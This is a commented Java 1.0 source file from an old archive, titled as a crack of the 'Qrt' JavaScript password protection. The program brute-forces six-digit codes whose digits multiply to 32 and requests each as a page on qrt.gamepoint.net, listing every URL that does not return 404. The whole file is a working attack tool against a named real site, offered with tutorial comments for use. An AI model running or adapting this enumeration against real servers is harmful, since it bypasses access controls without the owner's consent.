home *** CD-ROM | disk | FTP | other *** search
Java Source | 2000-05-25 | 7.9 KB | 201 lines |
- <prE>
-
- /*
- Cracking the Qrt JavaScript 'protection', by Gattman of Diamond.
- URL: http://here.is/diamond (sorry, just had to do that...)
-
- This is the heavily commented version for all you guys who
- aren't familiar with Java. The code is strictly Java 1.0,
- and should run on all JVMs.
- */
-
- import java.awt.*; // Import the Graphics and
- import java.net.*; // network packages.
-
- public class Hacker extends Frame // A frame, no applet, but an application.
- {
- int amount; // Let's declare a global variable to keep track
- // of how many passwords we'll find
- static public void main(String args[]) // The main method. Need I say more?
- {
- (new Hacker()).show(); // Just open a new instance of this frame.
- }
-
- void startButton_Clicked(Event event) // What to do if the startbutton is clicked...
- {
- amount=0; // Reset the counter.
- int mul=1; // Initialize the 'multiplication' variable
- int digit=6; // We are looking for 6 digits.
- startButton.disable(); // Don't you go pressing that startbutton until I'm finished, ya hear?
- posLabel.show(); // Let's pop up a label
- amountField.show(); // and an output field.
- allRest(mul, digit, new int[digit]); // Now for some backtracking!!!
- outputArea.appendText("Total # of possibilities: "+amount+"\n"); // Some uninteresting statistics.
- posLabel.hide(); // Dump the label
- amountField.hide(); // and outputfield again, coz we're finished.
- startButton.enable(); // Okay, it's safe to click again...
- }
-
- void allRest(int mul, int digit, int[] array) // A recursive backtracking method? Why would you do that?
- { // You could just use 6 for-loops. Yes, but from this we learn more.
- // It's neater, and more generic. It works just as well with 4 or 10 digits.
- if (mul==32 && digit==0) // The base case. This is what we're looking for.
- {
- String code=""; // We're going to need a string here...
- for (int i=array.length; i>0; i--) // A loop that converts the array to a string.
- { // We're going to need it for screen output and for the URL.
- code=code+(new String(""+array[i-1]));
- }
- amountField.setText(""+amount+", Code: "+code); // Dump our findings to the output field.
- try // Try and catch the exception.
- {
- if (find(new URL("http://qrt.gamepoint.net/"+code+".html"))) // Is there a page with the URL formed by the code?
- {
- outputArea.appendText("Nr. "+amount+", Code: "+code+"\n"); // Yes, so let's print it in the area.
- }
- amount++; // Count the new one.
- }
- catch (MalformedURLException e)
- {
- System.out.println(""+e); // Print the exception to the console.
- }
- }
- else if (digit>0) // We're not finished. Do we have 6 digits already?
- {
- for (int x=1; x<10; x++) // Yes, so try every number from 1 to 10.
- {
- array[digit-1]=x; // Put the number in the array.
- allRest(mul*x, digit-1, array); // Call the method again and make the next step.
- }
- }
- }
-
- boolean find (URL url) // This method checks if a URL can be found on the server.
- {
- int responseCode=0; // Reset the response variable
- try // Try and catch an exception again.
- {
- URLConnection uc = url.openConnection(); // Make a connection to the server.
- uc.getInputStream(); // Contact the server for a response.
- String resp = uc.getHeaderField(0); // Get the response from the server.
- int ind; // Yet another variable.
- try // And another exception try and catch.
- {
- ind = resp.indexOf(' '); // Get the first space.
- while(resp.charAt(ind) == ' ') // Loop until all spaces are skipped.
- ind++;
- responseCode = Integer.parseInt(resp.substring(ind, ind + 3)); // Now we are at the response-code. Parse it to an integer.
- }
- catch (Exception e)
- {
- System.out.println(""+e); // Print out the exception if it occurs.
- }
- }
- catch (Exception e)
- {
- System.out.println(""+e); // And again.
- responseCode=404; // But then the page probably doesn't exist, so give it a 404 anyway.
- }
- return (responseCode!=404); // '404 not found'? then false, else we got one!
- }
-
- void exit() // An uninteresting method that exits the app. (duh....)
- {
- hide();
- dispose();
- System.exit(0);
- }
-
- void Hacker_WindowDestroy(Event event) // Call the exit method if you click on the top right icon.
- {
- exit();
- }
-
- void miExit_Action(Event event) { // Or if you choose the File|Exit menu option.
- exit();
- }
-
- public Hacker() // Uninteresting code which sets up the GUI.
- {
- //{{INIT_CONTROLS
- setLayout(null);
- addNotify();
- resize(insets().left + insets().right + 405,insets().top + insets().bottom + 299);
- setBackground(new Color(8421631));
- outputArea = new java.awt.TextArea();
- outputArea.setEditable(false);
- outputArea.reshape(insets().left + 28,insets().top + 19,348,165);
- outputArea.setBackground(new Color(11184895));
- add(outputArea);
- amountField = new java.awt.TextField();
- amountField.setEditable(false);
- amountField.hide();
- amountField.reshape(insets().left + 192,insets().top + 192,124,24);
- amountField.setBackground(new Color(11184895));
- add(amountField);
- posLabel = new java.awt.Label("Checking possibility #:");
- posLabel.hide();
- posLabel.reshape(insets().left + 48,insets().top + 194,143,21);
- add(posLabel);
- startButton = new java.awt.Button("Start!");
- startButton.reshape(insets().left + 93,insets().top + 227,219,44);
- startButton.setBackground(new Color(12632256));
- add(startButton);
- setTitle("Hacker");
- //}}
-
- //{{INIT_MENUS
- mainMenuBar = new java.awt.MenuBar();
-
- menu1 = new java.awt.Menu("File");
- miExit = new java.awt.MenuItem("Exit");
- menu1.add(miExit);
- mainMenuBar.add(menu1);
- setMenuBar(mainMenuBar);
- //$$ mainMenuBar.move(4,277);
- //}}
- }
-
- public boolean handleEvent(Event event) // Uninteresting event-handler.
- {
- if (event.target == this && event.id == Event.WINDOW_DESTROY) {
- Hacker_WindowDestroy(event);
- return true;
- }
- if (event.target == startButton && event.id == Event.ACTION_EVENT) {
- startButton_Clicked(event);
- return true;
- }
- return super.handleEvent(event);
- }
-
- public boolean action(Event event, Object arg) // And yet another one.
- {
- if (event.target instanceof MenuItem) {
- String label = (String) arg;
- if (event.target == miExit) {
- miExit_Action(event);
- return true;
- }
- }
- return super.action(event, arg);
- }
-
-
- // And finally some uninteresting GUI-component declarations.
-
- //{{DECLARE_CONTROLS
- java.awt.TextArea outputArea;
- java.awt.TextField amountField;
- java.awt.Label posLabel;
- java.awt.Button startButton;
- //}}
-
- //{{DECLARE_MENUS
- java.awt.MenuBar mainMenuBar;
- java.awt.Menu menu1;
- java.awt.MenuItem miExit;
- //}}
- }
-
- </prE>